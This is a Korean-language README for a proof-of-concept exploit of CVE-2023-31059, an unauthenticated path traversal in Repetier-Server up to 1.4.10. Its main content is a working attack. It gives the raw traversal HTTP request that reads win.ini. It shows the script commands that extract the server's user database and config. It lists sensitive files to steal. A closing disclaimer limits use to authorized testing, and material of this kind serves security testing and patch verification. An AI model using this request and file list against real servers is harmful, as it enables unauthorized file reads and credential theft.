
CVE-2023-31059에 대한 개념 증명 익스플로잇으로, Repetier-Server ≤1.4.10의 인증되지 않은 경로 탐색 취약점으로, 조작된 HTTP 요청을 통해 임의 파일 읽기를 가능하게 합니다.
| 필드 | 값 |
|---|
| 제품 | Repetier‑Server |
| 영향받는 버전 | ≤ 1.4.10 |
| CVE | CVE‑2023‑31059 |
| 유형 | 경로 탐색 / LFI |
| 인증 | 필요 없음 |
| 벡터 | 네트워크 |
| 영향 | 임의 파일 읽기 |
| CVSS | 9.8 Critical |
flowchart LR
A[Attacker] -->|HTTP request with ..%5c traversal| B[Repetier Server]
B --> C[base/connectionLost.php]
C -->|Unsanitized file parameter| D[Windows Filesystem]
D --> E[Sensitive File]
E --> B
B -->|File contents in HTTP response| AGET /base/connectionLost.php?file=..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: target:3344
# 취약점 테스트
python3 CVE-2023-31059.py http://<target-ip>:3344/ --test
# 사용자 데이터베이스 추출
python3 CVE-2023-31059.py http://<target-ip>:3344/ \
--file "ProgramData\\Repetier-Server\\database\\user.sql" \
--depth 20
pip install requests
ProgramData\Repetier-Server\database\user.sql
ProgramData\Repetier-Server\config.xml
Windows\win.ini
Windows\System32\drivers\etc\hosts
이 PoC는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.
GitHub: https://github.com/mbanyamer